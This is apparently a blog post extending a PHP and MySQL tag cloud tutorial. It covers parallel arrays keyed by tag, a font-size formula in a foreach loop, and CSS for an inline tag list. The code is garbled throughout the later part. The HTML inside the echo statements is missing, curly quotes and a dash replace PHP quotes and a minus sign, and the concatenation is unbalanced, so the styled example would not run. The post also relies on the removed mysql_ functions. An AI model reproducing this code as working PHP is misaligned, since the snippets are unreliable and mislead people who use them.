                If you need more parameters than just the tag name to build your links, you can add anything else you need to an auxiliary array with the same index (e.g., the tag name. You could also use the primary key for your tag/category if your database is structured that way. The important thing is to have all the related data using the same index—you’re basically building a relational database in your array(s).)
                
                while ($row = mysql_fetch_array($result)) {
                    $tags[$row['tag']] = $row['quantity'];
                    // same index as tags array
                    $category_id[$row['tag']] = $row['category_id'];
                }
                
                Then, when you’re actually building the tag link within the for loop, you can access your other data with $key as the array index:
                
                foreach ($tags as $key => $value) {
                
                    $size = $min_size + (($value - $min_qty) * $step);
                
                    echo ''
                      .$key.' ';
                }
                
                Edit 2008-08-04:
                
                Here’s how I style my tag cloud:
                tag cloud
                
                echo '
                  ‘; foreach ($uses as $key => $value) { $size = $min_size + (($value – $min_qty) * $step_size); echo ‘

                • ‘.$key.’‘; echo ‘ (‘.$value.)
                • ‘; } echo ‘

                ‘; ul.tagcloud { list-style-type: none; padding: 0; line-height: 2em; } ul.tagcloud li { display: inline; line-height: 3em; white-space: nowrap; } ul.tagcloud li:after { content: “,”; } ul.tagcloud li:last-child:after { content: “”; } ul.tagcloud .count { font-size: 0.875em; line-height: 1.714em; color: #888; }

                links:- http://prism-perfect.net/archive/php-tag-cloud-tutorial/ http://www.stevenyork.com/tutorial/creating_accessible_tag_cloud_in_php_css_mysql

                http://www.bitrepository.com/web-programming/php/how-to-create-a-tag-cloud.html

                Follow

                Get every new post delivered to your Inbox.